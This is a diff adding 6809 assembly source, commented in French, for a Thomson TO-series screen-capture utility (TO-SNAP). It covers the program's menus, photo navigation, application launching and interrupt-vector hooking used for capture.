+OKPAG2 STA BANKC
+ LDU ,X
+ STB BANKC
+ STU ,X++
+ CMPX #$C000+8000
+ BNE OKPAG2 ->
+
+ CLR $E7DD page 0 et tour 0
+
+OKPAG0 LDA #$FF
+ STA FLGSNA
+
+ LDA >$E7C1 init 6846(timer)
+ ANDA #$F7
+ STA >$E7C1
+ LDA #$47
+ STA $E7C5
+ LDD #$30D3
+ STD $E7C6
+ LDA #$46
+ STA $E7C5
+
+ LDA STATUS
+ ORA #2 transmiss. GETC
+ STA STATUS
+
+ ANDCC #$2F réactive IT
+
+ LDB #$F8 reset clavier
+ JSR GETC
+
+ BRA START0 ->
+DEBUT EQU *
+ CLR FLGSNA
+
+* Initialisations
+*---------------------------------------
+
+* Pile et DP
+START0 LDS #PILE
+ LDA #$E7
+ TFR A,DP
+
+* Copie des S/P fenêtrage vers RAM
+ LDU #FENRAM
+ JSR COMBK2
+
+* Bank manoeuvre et vidéo qui seront
+* échangés
+ CLRA
+ STA BKVID
+ LDA #2
+ STA BKMANO
+
+* Vérification RAM disponible
+ LDA MAXBK
+ DECA ->nb bank disp.
+ CMPA #6
+ BGE OKRAM ->
+ LDB #$1B 'Out of memory'
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ LDX #MOUT
+BOUT LDB ,X+
+ BEQ BOUT1
+ JSR PUTC
+ BRA BOUT ->
+BOUT1 JSR GETC
+ TSTB
+ BEQ BOUT1 ->
+ JMP MENU ->>>>>>
+
+* Initialisation numérotation photo
+
+OKRAM CLR NUMPHO
+ LDA MAXBK
+ DECA
+ SUBA #PBKPEL
+ STA MAXPHO
+ LDX #TABPHO
+ LDB #22
+OKRAM1 CLR ,X+
+ DECB
+ BNE OKRAM1 ->
+ LDX #TABBK
+ LDB #22
+ LDA #PBKPEL
+OKRAM2 STA ,X+
+ INCA
+ DECB
+ BNE OKRAM2 ->
+
+ LDD #2
+ STD MEMTPO
+
+* Dans le cas d'un appel sous IT,
+* mémoriser l'écran courant !!!
+ TST FLGSNA
+ LBEQ START1 ->
+ LDX #MSANN nom défaut
+ LDY #TABNOM
+ LDB #8
+BNONAM LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BNONAM ->
+
+ LDU #PALETE palette courante
+ CLRA
+BOULNP LDX #$FFFF
+ LDY #0
+ JSR SETP
+ STX ,U++
+ INCA
+ CMPA #16
+ BNE BOULNP ->
+ CLR TOUR dans ignorance !
+
+ JSR CODPHO
+
+* Init. controleur et écran
+ LDD #0 sinon, init ctrl
+ STD $60E9 plante après load
+ STD $60ED infograme !!!
+
+ CLR DKDRV
+ LDA #1
+ STA DKOPC
+ JSR DKCO
+ LDA #$10
+ STA DKOPC
+ JSR DKCO
+ LDA #$20
+ STA DKOPC
+ JSR DKCO
+ JSR INITC
+
+* Extra moniteur pour turbo-disq
+START1 LDB #RESETC
+ JSR EXTRA
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
+ LDD #$7000
+ STD SECBUF
+ ADDD #256
+ STD FATPTR
+ LDA #5
+ LDB #166
+ MUL
+ ADDD FATPTR
+ TFR D,X
+ LDY #5
+ LDA #2
+ LDB #FCBINI
+ JSR EXTRA
+ LDD #$A55A
+ STD TSTRST
+
+* Fichier courant
+
+ LDX #DESCOU
+ LDA #8
+RZDECO CLR ,X+
+ DECA
+ BNE RZDECO ->
+
+ LDX #DESALB
+ LDA #8
+ LDB #$20
+RZDECA STB ,X+
+ DECA
+ BNE RZDECA ->
+ CLR ,X
+
+* Init. extra. mon.
+ LDB #RESETW
+ JSR EXTRA
+
+* Mémorisation de la palette si non
+* déja fait !
+ LDA TFMEMO
+ CMPA #$FF
+ LBNE SUIXY0 ->
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ CLR TFMEMO
+ LDU #TMEMO
+ CLRA
+BOULNU LDX #$FFFF
+ LDY #0
+ JSR SETP
+ STX ,U++
+ INCA
+ CMPA #16
+ BNE BOULNU ->
+
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+SUIXY0 EQU *
+
+ LDB #$1B mode TO7
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+
+ LDA #GRIS
+ STA TOUR
+
+ LDB #$11 réactive IT
+ JSR PUTC (sinon, pb
+ LDB #$14 pour dérout
+ JSR PUTC RESETP
+
+ JSR DEFSEL
+
+ LDX #PLEIN
+ LDA #8
+ LDB #$FF
+BPLEIN STB ,-X
+ DECA
+ BNE BPLEIN ->
+
+* Bank RAM
+ LDA BKMANO
+ STA BANKC
+
+* Memo vecteurs
+ LDD FIRQMM
+ CMPD #0
+ BNE SSOVE deja fait ->
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ LDU FIRQPT
+ STU FIRQMM
+ LDU TIMEPT
+ STU TIMEMM
+ LDU IRQPT
+ STU IRQMM
+ LDU SWIPT
+ STU SWIMM
+ LDU PTGENE
+ STU PTGEMM
+ LDA RESETP
+ STA RESEMM
+ LDU RESETP+1
+ STU RESEMM+1
+ LDA SIZCLV
+ STA SIZCMM
+ LDU USERAF
+ STU USERMM
+ LDU BUFCLV
+ STU BUFCMM
+
+ LDX #VECTMM
+ LDY #$6000
+ LDB #22
+BSOVE LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BSOVE ->
+
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+* Fenêtrage
+SSOVE LDX #ZONFEN
+ LDA #PBKPIL
+ LDB #DBKPIL
+ TFR D,U
+ LDA #NOIR
+ LDB #GRIS
+ JSR FENINI
+
+* Activation Fenêtre principale
+*---------------------------------------
+
+ LDX #FENVID
+ LDD #0
+ JSR FENRPL
+
+* En cas d'activation sous IT, visu de
+* l'écran capturé
+*---------------------------------------
+
+ TST FLGSNA
+ BEQ STARTX ->
+ JSR DECPHO
+ LBRA DEMAR2 ->
+
+* Visualisation du titre ou d'un
+* message d'erreur si échec boot
+* disquette !!!
+*---------------------------------------
+
+STARTX TST FLGBOO
+ BEQ DEMAR1 ->
+ CLR $E7E4
+ LDA >$E7E6 autorise écrit
+ ORA #$40 cartouche
+ STA >$E7E6
+ CLR FLGBOO
+ LDA >$E7E6 interdit écrit
+ ANDA #$BF
+ STA >$E7E6
+ LDX #PASBOO
+ JSR FENERR
+ BRA DEMAR2 ->
+
+DEMAR1 LDX #FENTIT Titre
+ LDD #$0606
+ JSR FENOUV
+
+ JSR LECAPL lecture appli
+* pendant titre !
+ JSR FENACT
+
+ LDU #400
+EXEC0 JSR FEN
+ BCS EXEC00 ->
+ TSTB
+ BNE EXEC00 ->
+ LEAU -1,U
+ CMPU #0
+ BNE EXEC0 ->
+
+EXEC00 CLRB
+ JSR FENFER
+ BRA DEMAR3 ->
+
+DEMAR2 JSR LECAPL lecture appli
+DEMAR3 CLRB menu principal
+ LBRA MENPHO ->
+
+EXEC01 JSR SELMOD fixation mode
+* vidéo selon phot
+
+ JSR FENACT
+
+* Attente principale
+*---------------------------------------
+
+EXEC1 JSR FENPOP
+ TSTB
+ BEQ EXEC2 ->
+ CMPB #DEL
+ LBEQ EFFPHO ->
+ CMPB #VT
+ LBEQ RETPHO ->
+ CMPB #BS
+ LBEQ RETPHO ->
+ CMPB #LF
+ LBEQ SUIPHO ->
+ CMPB #HT
+ LBEQ SUIPHO ->
+ CMPB #FF
+ BEQ EXEC1 ->
+ LBRA MENPHO ->
+
+EXEC2 LDA REGCC #Etat pointage
+ TFR A,CC
+ BCC EXEC1 pas clic ->
+ LBRA MENPHO ->
+
+*---------------------------------------
+* Effacement photo courante
+*---------------------------------------
+EFFPHO EQU *
+ JSR FENDES
+ JSR SELDEF
+ LDB #$1B
+ JSR PUTC
+ LDB #$69
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$68
+ JSR PUTC
+ LDA NUMPHO
+ JSR DELPHO
+ LBRA EXEC01 ->
+
+*---------------------------------------
+* Passage à la photo précedente
+*---------------------------------------
+RETPHO EQU *
+ JSR PHOPRE
+ JSR FENDES
+ JSR DECPHO
+ LBRA EXEC01 ->
+
+*---------------------------------------
+* Passage à la photo suivante
+*---------------------------------------
+SUIPHO EQU *
+ JSR PHOSUI
+ JSR FENDES
+ JSR DECPHO
+ LBRA EXEC01 ->
+
+
+*---------------------------------------
+* Demande de menu
+*---------------------------------------
+MENPHO EQU * demande menu
+ JSR SELDEF
+ STB MEMCOD code frappé
+* au niveau supér
+ LDX #FENMEN Menu
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+ LDB #BMBLAN
+ JSR FENCF
+ CLRA
+ LDB NUMPHO
+ LDX #BUF
+ JSR BINDCG
+ LDD #$010E
+ LDY #$0102
+ JSR FENLOF
+ JSR FENEDI
+ LDB #BMCLR
+ JSR FENCF
+
+MENU0 JSR FENACT
+ LDB MEMCOD traitement code
+* saisie au niv.
+* sup.
+ BEQ MENU1 ->
+ CLR MEMCOD
+ BRA MENU2 ->
+MENU1 JSR FENPOP
+MENU2 TSTB
+ BEQ MENU1 ->
+ CMPB #$4C
+ LBEQ LANCAP ->
+ CMPB #$44
+ LBEQ CATPHO ->
+ CMPB #$49
+ LBEQ INFPHO ->
+ CMPB #$46
+ LBEQ FICPHO ->
+ CMPB #$4D
+ LBEQ MODPHO ->
+ CMPB #$51
+ LBEQ QUIPHO ->
+ CMPB #FF
+ LBNE MENU1 ->
+ CLRB
+ JSR FENFER
+ JSR SELMOD
+ JSR FENACT
+ LBRA EXEC1 visu principale>
+
+
+* Lancement programme avec SNAP
+*---------------------------------------
+LANCAP EQU *
+ JSR MENLAN
+ LBRA MENU0 ->
+
+* Sélection CATALOGUE
+*---------------------------------------
+CATPHO EQU *
+ JSR MENCAT
+ LBNE EXEC1 ->
+ LBRA MENU0 ->
+
+* Sélection INFI VIDEO
+*---------------------------------------
+INFPHO EQU *
+ LDB NUMPHO
+ LDX #TABPHO
+ TST B,X
+ BEQ PAINFP ->
+ JSR MENINF
+ LBNE EXEC1 ->
+ LBRA MENU0 ->
+PAINFP LDX #MPASPH
+ JSR FENERR
+ LBRA MENU0 ->
+
+* Sélection FICHIER
+*---------------------------------------
+FICPHO EQU *
+ JSR MENFIC
+ LBNE EXEC1 ->
+ LBRA MENU0 ->
+
+* Mode d'emploi
+*---------------------------------------
+MODPHO EQU *
+ JSR EMPPHO
+ LBRA MENU0 ->
+
+* Quitter
+*---------------------------------------
+QUIPHO EQU *
+ LBSR FENCH
+ LBSR FENIVD
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDD REGY a cause clou !
+ CMPD #32
+ BGE QUIPH0 ->
+ ADDD #32
+ STD REGY
+QUIPH0 LDA #10
+ LDB #22
+ JSR POPUP
+ LBSR TBREAK
+ BCS FINGR ->
+ LDB #$51
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA MENU0 ->
+
+* Nettoyages divers
+*---------------------------------------
+
+* Fenêtrage
+FINGR JSR FENFIN
+
+* Attributs de visu.
+ LDB #ESC 40 col
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+
+ LDA #$FF
+ LDX #TMEMO
+ JSR SETP
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+* CLR TFMEMO
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ JMP MENU ->>>>>>>
+
+
+*=======================================
+* S/P FEN avec mémo des param en pseudo
+* registre
+*=======================================
+
+FENPOP PSHS U
+ LDU #PILFEN mémo retour FEN
+ JSR FEN
+ PSHU CC,D,X,Y
+ PULS U,PC ->>
+
+
+*=======================================
+* S/P préparation d'une ouverture de
+* fenètre en pop up
+*
+* Entrée: A : hauteur cadre
+* B : largeur cadre
+* Sortie: A : coord vert.
+* B : coord horz.
+*=======================================
+
+POPUP PSHS D
+ LEAS -2,S
+MAXH SET 0
+MAXL SET 1
+PA SET 2
+PB SET 3
+*---------------------------------------
+
+ LDA #24
+ SUBA PA,S
+ STA MAXH,S
+ LDA #39
+ SUBA PB,S
+ STA MAXL,S
+
+ LDB REGY+1
+ LSRB
+ LSRB
+ LSRB
+ LDA MAXH,S
+ CMPB MAXH,S
+ BLE POPUP0 ->
+ TFR A,B
+POPUP0 STB PA,S
+ LDD REGX
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA MAXL,S
+ CMPB MAXL,S
+ BLE POPUP1 ->
+ TFR A,B
+POPUP1 STB PB,S
+
+ TST PA,S
+ BNE POPUP2 ->
+ INC PA,S
+POPUP2 TST PB,S
+ BNE POPUP3 ->
+ INC PB,S
+POPUP3 LEAS 2,S
+ PULS D,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM
new file mode 100755
index 0000000..e692cba
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM
@@ -0,0 +1,787 @@
+ TITLE TO-PHOTO:S/P
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* S/P *
+* *
+****************************************
+
+
+*=======================================
+* S/P prise en compte d'une adresse
+* de déroutement
+*=======================================
+FIXIT EQU *
+*---------------------------------------
+ LDB #255
+ LDX #BUF
+ JSR FENLCZ
+ BCS FIXIT0 ->
+ RTS
+
+FIXIT0 LDD #$0000
+ LDY #$FFFF
+ JSR HEXBIN
+ TFR D,U
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ STU ADRIT
+
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+ RTS
+
+
+*=======================================
+* S/P activation dela tache sous
+* déroutement
+*=======================================
+
+ACTIT EQU *
+*---------------------------------------
+ ORCC #$50
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ ANDA #$3F
+ STA BKSNAP
+ STA BKDSNA
+
+ LDD ADRIT défaut pour
+ STD ADITFQ dérout. buffer
+
+ LDX #VECTMM
+ LDA #5
+ LSLA
+ LDD A,X
+ STD VFDER
+
+ LDA TYPDER
+ BEQ ACTIT0 FIRQ ->
+ CMPA #1
+ BEQ ACTIT0 RESETP ->
+ CMPA #14
+ BEQ ACTIT0 BUFCLV ->
+ CMPA #2
+ BNE ACTIT1 ->
+* LDX TIMEMM
+ LDX #KBIN
+ STX VFDER
+ BRA ACTIT0 ->
+
+ACTIT1 LDX #VECTMM
+ LDA TYPDER
+ SUBA #3
+ LSLA
+ LDD A,X
+ STD VFDER
+
+ACTIT0 LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ LDA TYPDER
+ CMPA #2
+ BGE BACITX ->
+
+* FIRQ et RESETP !!!
+
+ LDX #ITSNAP
+ LDY ADRIT
+BACIT0 LDA ,X+
+ STA ,Y+
+ CMPX #FINIT
+ BNE BACIT0 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+
+ LDX #ITSNAP
+ LDY ADRIT
+CACIT0 LDA ,X+
+ STA ,Y+
+ CMPX #FINIT
+ BNE CACIT0 ->
+
+ LDD ADRIT
+ TST TYPDER
+ BEQ BACITG ->
+ STD RESETP+1
+ LDA #$7E JMP
+ STA RESETP
+ LBRA BACITF ->
+BACITG STD >FIRQPT
+ LBRA BACITY ->
+
+* timer + vecteurs + buffer clav !!!
+
+BACITX LDX #DRSNAP
+ LDY ADRIT
+BACIT1 LDA ,X+
+ STA ,Y+
+ CMPX #FINDER
+ BNE BACIT1 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+
+ LDX #DRSNAP
+ LDY ADRIT
+CACIT1 LDA ,X+
+ STA ,Y+
+ CMPX #FINDER
+ BNE CACIT1 ->
+
+ LDU ADRIT
+ LDA TYPDER
+ CMPA #14
+ BEQ BACIT3 ->
+ SUBA #3
+ BMI BACIT2 ->
+ LSLA vecteurs
+ LDX #$6000
+ STU A,X
+ BRA BACITY ->
+BACIT2 STU TIMEPT timer
+ LDA STATUS
+ ORA #$20
+ STA STATUS
+ BRA BACITY ->
+BACIT3 LDD #$600A buffer clav.
+ STD BUFCLV
+ CLR REACLV
+ CLR WRICLV
+
+ LDX #DRBUF
+ LDY #$5F8E
+BACIT4 LDA ,X+
+ STA ,Y+
+ CMPX #FDRBUF
+ BNE BACIT4 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+
+ LDX #DRBUF
+ LDY #$5F8E
+BACIT5 LDA ,X+
+ STA ,Y+
+ CMPX #FDRBUF
+ BNE BACIT5 ->
+
+* programmation PIA système pour
+* détection à partir prise crayon
+* (hors RESETP !)
+
+BACITY LDA >$E7CB RAZ IT
+ ORA #$40
+ STA >$E7CB
+ LDA <$E7C9
+ LDA >$E7CB 6821 pour \/
+ ANDA #$FC par prise crayon
+ TST TYPDER
+ BNE BACIT9 ->
+ ORA #$01 (IT sur \/ CB1)
+BACIT9 STA >$E7CB
+
+BACITF ANDCC #$AF
+ RTS
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+* sous FIRQ et RESETP
+*=======================================
+
+ITSNAP EQU *
+*---------------------------------------
+ LDA #0 posit bank TO-SNAP
+BKSNAP EQU *-1
+ STA >$E7E6
+ JMP XSNAP activation ->
+FINIT EQU *
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+* sous déroutement système
+*=======================================
+
+DRSNAP EQU *
+*---------------------------------------
+ TST >$E7CB
+ BPL FDER ->
+ LDA #0 posit bank TO-SNAP
+BKDSNA EQU *-1
+ STA >$E7E6
+ JMP XSNAP activation ->
+FDER JMP $FFFF
+VFDER EQU *-2
+FINDER EQU *
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+* sous déroutement buffer clavier
+* (l'entrée de $5F dans le buffer
+* clavier dérouté sur l'indirection
+* GETCH génère une adresse $5F8E
+* à la place de l'adresse défaut
+* $FF8E...
+* A l'appel de GETCH suivant, ceci
+* va générer un appel vers l'implant
+* DRBUF qui va armer un déroutement
+* de GETCH traditionnel ...
+* NB: $5F = code de _ au clavier
+* (obligatoire avant toute autre
+* saisie, :
+* NB: L'implant est donc obligatoir.
+* ement en $5F8E !!!
+* et sur les deux pages
+*=======================================
+
+DRBUF EQU * (en $5F8E !!!)
+*---------------------------------------
+ PSHS A,CC
+ ORCC #$50
+ LDD #$0000 déroute GETC
+ADITFQ EQU *-2
+ STD $600A
+
+ LDB #$82 buffer clav std
+ STB BUFCLV+1
+
+ CLRB
+ CLR [BUFCLV]
+ CLR REACLV
+ CLR WRICLV
+
+ ANDCC #$AF
+ PULS A,CC,PC ->>
+FDRBUF EQU *
+
+
+*=======================================
+* S/P lecture des applications disponib.
+*=======================================
+
+LECAPL EQU *
+*---------------------------------------
+
+* Pas d'appli. par défaut
+
+ LDX #APLTAB
+ LDA #6
+ LDB #$FF
+BRAZAP STB ,X
+ LEAX 33,X
+ DECA
+ BNE BRAZAP ->
+
+* Chargement en RAM du programme de
+* lecture des appli. disponibles
+
+ LDA BKMANO
+ STA BANKC
+ LDX #DEBLEC
+ LDY #$A000
+BECRPG LDA ,X+
+ STA ,Y+
+ CMPX #FINLEC
+ BNE BECRPG ->
+
+* Lecture des appli. disponibles
+
+ JSR $A000
+
+ RTS ->>
+
+
+*=======================================
+* S/P lecture des appli disp
+* (à charger en RAM hors cartouche!)
+*=======================================
+DEBLEC EQU *
+ LEAS -1,S
+MEME6 SET 0 memo $E7E6
+*---------------------------------------
+ CLR $E7E4
+ LDA $E7E6
+ STA MEME6,S
+ CLR $E7E6 cartouche=ROM
+
+* voir slot 1 (cartouche externe)
+
+ LDB $E7C3
+ ANDB #$FB
+ STB $E7C3
+ LDU #APLTAB+1
+ LDY #0
+ LBSR VERSOC
+ BCS SUIAP0 pas cartouche ->
+ LDA #$30
+ STA ,-U
+
+* voir slot 0 bank 0 (basic 512)
+
+SUIAP0 LDB $E7C3
+ ORB #4
+ STB $E7C3
+ STA $0000
+ LDU #APLTAB+33+1
+ LDY #0
+ LBSR VERSOC
+ BCS SUIAP1 pas basic ! ->
+ LDA #$00
+ STA ,-U
+
+* voir slot 0 bank 2 (basic 1)
+
+SUIAP1 STA $0002
+ LDU #APLTAB+33*2+1
+ LDY #0
+ LBSR VERSOC
+ BCS SUIAP2 pas basic ! ->
+ LDA #$02
+ STA ,-U
+
+* voir slot 0 bank 3 (fichiers...)
+
+SUIAP2 STA $0003
+ LDU #APLTAB+33*3+1
+ LDY #0
+ LBSR VERSOC
+ BCS SUIAP3 pas fichiers! ->
+ LDA #$03
+ STA ,-U
+
+* Rechercher 'Réglages et préférences'
+* petits pb de visu et pas utile !
+
+ BRA SUIAP4 ->
+SUIAP3 LDU #APLTAB+33*4+1
+ LDY #$2000
+BRREG LDD ,Y
+ CMPD #$2052
+ BNE SRREG ->
+ LDD 2,Y
+ CMPD #$8567
+ BNE SRREG ->
+ LBSR VERSOC
+ BCS SRREG ->
+ LDA #$03
+ STA ,-U
+ BRA SUIAP4 ->
+SRREG LEAY 1,Y
+ CMPY #$4000
+ BNE BRREG ->
+
+* Rechercher 'Appel de programmes'
+
+SUIAP4 LDU #APLTAB+33*4+1
+ LDY #$2000
+BRPGM LDD ,Y
+ CMPD #$2041
+ BNE SRPGM ->
+ LDD 2,Y
+ CMPD #$7070
+ BNE SRPGM ->
+ LBSR VERSOC
+ BCS SRPGM ->
+ LDA #$03
+ STA ,-U
+ BRA SUIAP5 ->
+SRPGM LEAY 1,Y
+ CMPY #$4000
+ BNE BRPGM ->
+
+* revenir sur RAM/cartouche
+
+SUIAP5 LDA MEME6,S
+ STA $E7E6
+ LEAS 1,S
+ RTS
+
+
+*=======================================
+* S/P vérification de la présence d'une
+* application
+* Entrée: Y @ ROM candidate
+* U @ rangement
+* Sortie CY 0 si ok
+*=======================================
+VERSOC PSHS D,X,Y,U
+*---------------------------------------
+ LDA #26 lecture mnémo
+ LDX #$55
+BVSO0 LDB ,Y+
+ STB ,U+
+ ABX
+ CMPB #$04
+ BNE SVSO00 ->
+ CLR -1,U
+SVSO00 CMPB #$85
+ BNE SVSO01 ->
+ LDB #$65 minuscules codée
+ STB -1,U
+SVSO01 DECA
+ BNE BVSO0 ->
+
+ TFR X,D verif soco
+ ANDB #$DF erreur soc appel
+ PSHS B pgm
+ LDB ,Y+
+ STB ,U+
+ ANDB #$DF
+ CMPB ,S+
+ BNE SVSO0 pas cartouche ->
+ LDA #5
+BVSO1 LDB ,Y+
+ STB ,U+
+ DECA
+ BNE BVSO1 ->
+ ANDCC #$FE
+ PULS D,X,Y,U,PC
+SVSO0 ORCC #1
+ PULS D,X,Y,U,PC
+FINLEC EQU *
+
+
+*=======================================
+* S/P fenetre de lancement applic.
+*=======================================
+RZECRN FCB $1B,$69,$1B,$44,$1B,$56
+ FCB $1B,$66,FF,0
+MENLAN EQU *
+*---------------------------------------
+
+ LDX #FENLAN
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+* Visu des appli. disponibles
+
+ LDY #APLTAB
+ LDB #$90
+BVIAP JSR FENCH
+ TST ,Y
+ BMI APINT ->
+ LEAX 1,Y
+ JSR FENEDI
+ BRA SUIAP ->
+APINT LDA #INTERD
+ STA VAL,X
+SUIAP LEAY 33,Y
+ INCB
+ CMPB #$95
+ BNE BVIAP ->
+
+
+* Adresse implantation SNAP
+ LDB #255
+ JSR FENCH
+
+* calcul @ pgm
+ LDD ADRIT
+
+ LDX #BUF
+ JSR BINHX2
+ CLR 4,X
+ JSR FENEDI
+
+* visu déroutement courant
+EXEA00 LDB #$53
+ JSR FENCH
+ LDX #TABDER
+ LDA #19
+ LDB TYPDER
+ MUL
+ LEAX D,X
+ JSR FENEDI
+
+* calcul lg pgm
+ LDB #254
+ JSR FENCH
+ LDA TYPDER
+ CMPA #1
+ BGT VISDER ->
+ LDD #FINIT
+ SUBD #ITSNAP
+ BRA VISADD ->
+VISDER LDD #FINDER
+ SUBD #DRSNAP
+VISADD LDX #BUF
+ LDY #2
+ JSR BINDCD
+ JSR FENEDI
+
+EXECA0 JSR FENACT
+
+EXECA1 JSR FEN
+ TSTB
+ BEQ EXECA1 ->
+ CMPB #FF RAZ
+ LBEQ XARET ->
+ CMPB #$53 'S'
+ LBEQ MODSNA ->
+ CMPB #$95 F6
+ LBEQ XBOOT ->
+ CMPB #$90 <F1
+ BLT EXECA1 ->
+ CMPB #$94 >F5
+ BGT EXECA1 ->
+
+*** Lancement soft
+ PSHS B
+ CLR RUNFLG auto ou non
+ LDB #$01
+ JSR FENCH
+ LDA VAL,X
+ CMPA #OFF
+ BEQ XLANC1 ->
+ COM RUNFLG
+XLANC1 LDB ,S
+ SUBB #$90
+ LDA #33
+ MUL
+ LDX #APLTAB
+ LEAX D,X
+ LDA ,X
+ LBMI EXECA1 ->
+ LDU 31,X @ dem. froid
+ PSHS A,U
+ JSR FIXIT
+ JSR FENFIN
+
+ LDA #$FF
+ LDX #TMEMO
+ JSR SETP
+
+ LDA $E7C3 sinon, noir de
+ ANDA #$FE applications
+ STA $E7C3 = 256 !!!
+ CLR $5F40
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+* CLR TFMEMO
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ JSR RSTECR
+
+ JSR ACTIT
+
+ LDB 3,S
+ CMPB #$91
+ BEQ GORAM0 ->
+ CMPB #$93
+ BGE GORAM0 ->
+ LDA #$44 commut.bank
+ STA $6081 ram pia
+ STA $E7E7 (compatibilité)
+
+ CMPB #$90
+ BEQ GORAM0 ->
+* basic 1
+ LDA #$01 init. ctrl dsk
+ STA DKOPC
+ JSR DKCO
+
+ LDA #$20 posit piste 0
+ STA DKOPC
+ JSR DKCO
+
+* une séquence d'effacement appelée
+* par le programme chargé réalise
+* une initialisation d'un zone
+* pointée par $601c à $601e... zone
+* dans laquelle peut justement se
+* trouver le programme (MGT !)
+* les valeurs mises sont celles en
+* vigueur hors extra mon !!!
+
+ LDD #$F001
+ STD $601C
+ LDD #$F017
+ STD $601E
+
+GORAM0 LDA #$FF présence disk
+ STA $6080
+ LDA >$E7C3 moniteur bk 0
+ ANDA #$EF
+ STA >$E7C3
+ PULS A,U
+ LDS #$60CC
+ LDB #$60
+ TFR B,DP
+
+ JSR COMS
+
+*** Boot disquette
+XBOOT JSR FENCH
+ JSR FENIVD
+ JSR FIXIT
+ JSR FENFIN
+
+ LDA #$FF
+ LDX #TMEMO
+ JSR SETP
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+* CLR TFMEMO
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ JSR RSTECR
+
+ LDU #BOOT
+ JSR COMBK2
+
+*** modification du déroutement
+MODSNA JSR FENDES
+ LDB TYPDER
+ INCB
+ CMPB #15
+ BLT ECRDER ->
+ CLRB
+
+ECRDER CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+ STB TYPDER
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ LBRA EXEA00 ->
+
+* Fin menu lancement
+*---------------------------------------
+
+XARET JSR FIXIT
+ CLRB
+ JSR FENFER car photo peut
+ JSR FENACT
+ RTS
+
+
+*=======================================
+* S/P restore attributs écran
+*=======================================
+RSTECR LDB #$1B
+ JSR PUTC
+ LDB #$69
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$44 bleu
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$56 sur cyan
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$66 tour cyan
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ RTS
+
+
+*=======================================
+* S/P destruction logique d'une photo
+*
+* Entrée: A num photo
+*=======================================
+DELPHO PSHS A,X
+*---------------------------------------
+ LDX #TABPHO
+ CLR A,X
+ PULS A,X,PC ->>
+
+
+*=======================================
+* S/P test de localisation de la souris
+* dans un carreau
+* Entrée: XH rangée début ]
+* XL colonne début du carreau
+* YH hauteur ]
+* YL largeur ]
+* Sortie: CY 1 souris dans le carreau
+* 0 ... en dehors
+*=======================================
+
+SOUROK PSHS D,X,Y,U
+ LEAS -5,S
+HORDOT SET 0
+VERDOT SET 2
+MULTH SET 4
+PA SET 5
+PB SET 6
+PXH SET 7
+PXL SET 8
+PYH SET 9
+PYL SET 10
+*---------------------------------------
+
+ LDB #8 coef de * horiz
+ LDA SCRMOD
+ CMPA #$40
+ BNE RGMU ->
+ LDB #4 bit map 16
+RGMU STB MULTH,S
+
+ LDA #8
+ LDB PXH,S
+ MUL
+ STD HORDOT,S
+ CMPD REGY
+ BGT SELDN hors haut ->
+ LDA MULTH,S
+ LDB PXL,S
+ MUL
+ STD VERDOT,S
+ CMPD REGX
+ BGT SELDN hors gauche ->
+ LDA #8
+ LDB PYH,S
+ MUL
+ ADDD HORDOT,S
+ CMPD REGY
+ BLE SELDN hors bas ->
+ LDA MULTH,S
+ LDB PYL,S
+ MUL
+ ADDD VERDOT,S
+ CMPD REGX
+ BLE SELDN hors droit ->
+ ORCC #$01 dedans
+ BRA SELDF ->
+SELDN ANDCC #$FE hors
+
+SELDF LEAS 5,S
+ PULS D,X,Y,U,PC
